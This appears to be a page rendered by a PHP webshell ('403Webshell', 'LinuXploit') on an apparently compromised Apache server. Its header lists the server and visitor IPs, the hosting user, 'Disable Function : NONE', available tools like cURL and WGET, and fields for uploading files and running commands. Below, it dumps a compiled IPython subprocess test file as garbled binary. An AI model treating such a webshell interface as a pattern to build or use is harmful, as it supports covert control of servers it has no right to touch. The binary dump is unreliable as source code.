403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/IPython/utils/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/IPython/utils/tests/__pycache__/test_process.cpython-311.pyc
�

�@�c��
�D�dZddlZddlZddlZddlZddlmZddlZddlZddl	m
Z
mZmZm
Z
mZmZmZddlmZddlmZddlmZej�ej��Zejd���Zejd	���Zd
�Z ejej!�"dddgfd
ddgfddgfdddgfg��d�����Z#ejej!�"dddgfd
ddgfddgfdddgfg��d�����Z$Gd�dej%��Z&dS)z
Tests for platutils.py
�N)�interrupt_main)�find_cmd�FindCmdError�	arg_split�system�	getoutput�getoutputerror�get_output_error_code)�capture_output)�
decorators)�toolsc�R�td��}|�d��sJ�dS)z*Make sure we can find the full path to ls.�lsN)r�endswith��paths �B/usr/lib/python3/dist-packages/IPython/utils/tests/test_process.py�test_find_cmd_lsr's-���D�>�>�D��=�=���������c��td��}|����d��s
J|���dS)zTry to find pythonw on Windows.�pythonwzpythonw.exeN)r�lowerrrs r�test_find_cmd_pythonwr.sA���I���D��:�:�<�<� � ��/�/�5�5��5�5�5�5�5rc�F�tjttd��dS)z?Make sure that FindCmdError is raised if we can't find the cmd.�asdfasdfN)�pytest�raisesrr�rr�test_find_cmd_failr5s��
�M�,��*�5�5�5�5�5rzargstr, argv�hizhello there�hello�thereuhǎllozsomething "with quotes"�	somethingz
"with quotes"c�0�t|��|ksJ�dS�z?Ensure that argument lines are correctly split like in a shell.N�r��argstr�argvs  r�test_arg_splitr*:s#���V����$�$�$�$�$�$rzargstr,argvzwith quotesc�0�t|��|ksJ�dSr%r&r's  r�test_arg_split_win32r,Ls#���V����$�$�$�$�$�$rc�d�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	e
jd���Zd	�Z
d
�ZdS)�SubProcessTestCasec�^�gd�}|�d�|����dS)zMake a valid python temp file.)z
import sysz+print('on stdout', end='', file=sys.stdout)z+print('on stderr', end='', file=sys.stderr)zsys.stdout.flush()zsys.stderr.flush()�
N)�mktmp�join)�self�liness  r�setUpzSubProcessTestCase.setUp\s9��'�'�'��
	
�
�
�4�9�9�U�#�#�$�$�$�$�$rc�p�tt�d|j�d���}|�|d��dS)N� "�"r)r�python�fname�assertEqual�r3�statuss  r�test_systemzSubProcessTestCase.test_systemes>���6�2�2�T�Z�2�2�2�3�3�������#�#�#�#�#rc�`�tdtz��}|�|d��dS)Nz%s -c "import sys"r)rr9r;r<s  r�test_system_quotesz%SubProcessTestCase.test_system_quotesis1���,�v�5�6�6�������#�#�#�#�#rc���tj��tj��krtjd���tjt
jt
j��d�}tj|����	��tj
��}	|��}n#t$rYnwxYwtj
��}|�||z
dkd||z
z��|S)z8
        Interrupt a subprocess after a second.
        z*Can't run this test if not in main thread.c�J�tjd��t��dS)Ng�?)�time�sleeprrrr�	interruptz7SubProcessTestCase.assert_interrupts.<locals>.interruptys!���J�s�O�O�O������r)�target�zProcess didn't die quickly: %s)
�	threading�main_thread�current_threadr�skip�signal�SIGINT�default_int_handler�Thread�startrC�KeyboardInterrupt�
assertTrue)r3�commandrErP�result�ends      r�assert_interruptsz$SubProcessTestCase.assert_interruptsms���� �"�"�i�&>�&@�&@�@�@��+�J�K�K�K�
	�
�f�m�V�%?�@�@�@�	�	�	�
	��	�*�*�*�0�0�2�2�2��	����	��W�Y�Y�F�F�� �	�	�	��D�	�����i�k�k������%�K�!�O�=��u��M�	
�	
�	
��
s�$
B/�/
B<�;B<c�j�d�}|�|��}|�|dd|����dS)zr
        When interrupted in the way ipykernel interrupts IPython, the
        subprocess is interrupted.
        c�0�tdtz��S)Nz"%s -c "import time; time.sleep(5)")rr9rrrrSz9SubProcessTestCase.test_system_interrupt.<locals>.command�s���>��G�H�H�Hrrz(The process wasn't interrupted. Status: N)rV�assertNotEqual)r3rSr=s   r�test_system_interruptz(SubProcessTestCase.test_system_interrupt�s[��
	I�	I�	I��'�'��0�0������A�J�&�J�J�	
�	
�	
�	
�	
rc��tt�d|j�d���}	|�|d��dS#t$r|�|d��YdSwxYw)Nr7r8zon stderron stdoutzon stdouton stderr)rr9r:r;�AssertionError�r3�outs  r�test_getoutputz!SubProcessTestCase.test_getoutput�s���6�2�2�T�Z�2�2�2�3�3��	8����S�"6�7�7�7�7�7���	8�	8�	8����S�"6�7�7�7�7�7�7�	8���s�9� A�Ac��tdtz��}|�|���d��dS)Nz%s -c "print (1)"�1�rr9r;�stripr]s  r�test_getoutput_quotedz(SubProcessTestCase.test_getoutput_quoted�s9���+�f�4�5�5����������c�*�*�*�*�*rc��tdtz��}|�|���d��tdtz��}|�|���d��dS)Nz%s -c 'print (1)'raz%s -c 'print ("1")'rbr]s  r�test_getoutput_quoted2z)SubProcessTestCase.test_getoutput_quoted2�sj���+�f�4�5�5����������c�*�*�*��/�&�8�9�9����������c�*�*�*�*�*rc��tt�d|j�d���\}}|�|d��|�|d��dS)Nr7r8�	on stdout�	on stderr)r	r9r:r;)r3r^�errs   r�test_getoutput_errorz'SubProcessTestCase.test_getoutput_error�sX��!�V�"<�"<�t�z�"<�"<�"<�=�=���S�����k�*�*�*�����k�*�*�*�*�*rc��dtz}t|��\}}}|�|d��|�|d��|�|d��tt�d|j�d���\}}}|�|d��|�|d��|�|d��dS)	Nz%s -c "import sys; sys.exit(1)"��r7r8rhrir)r9r
r;r:)r3�
quiet_exitr^rj�codes     r�test_get_output_error_codez-SubProcessTestCase.test_get_output_error_code�s���6��?�
�.�z�:�:���S�$�����b�!�!�!�����b�!�!�!�����q�!�!�!�.�&�/I�/I�D�J�/I�/I�/I�J�J���S�$�����k�*�*�*�����k�*�*�*�����q�!�!�!�!�!rN)�__name__�
__module__�__qualname__r5r>r@rVrZr_rd�dec�
skip_win32rfrkrqrrrr.r.[s�������%�%�%�$�$�$�$�$�$����<
�
�
�8�8�8�+�+�+�
	�^�+�+��^�+�+�+�+�
	"�	"�	"�	"�	"rr.)'�__doc__�sysrL�osrC�_threadrrHr�IPython.utils.processrrrrrr	r
�IPython.utils.capturer�IPython.testingrrur
�ttr�basename�
executabler9rvr�skip_if_not_win32rr�mark�parametrizer*r,�
TempFileMixinr.rrr�<module>r�sw�����
�
�
�
�
�
�
�	�	�	�	�����"�"�"�"�"�"�����
�
�
�
�:�:�:�:�:�:�:�:�:�:�:�:�:�:�:�:�:�:�1�0�0�0�0�0�-�-�-�-�-�-�'�'�'�'�'�'�	��	�	�#�.�	)�	)�����������6�6���6�6�6�6�
�������	
��v��	��'�*�+�
��~�&�	"�[�/�$B�C����%�%�����%�
�������	
��v��	��'�*�+�	��~�&�	"�[�-�$@�A�	���%�%�����%�
_"�_"�_"�_"�_"��)�_"�_"�_"�_"�_"r

Youez - 2016 - github.com/yon3zu
LinuXploit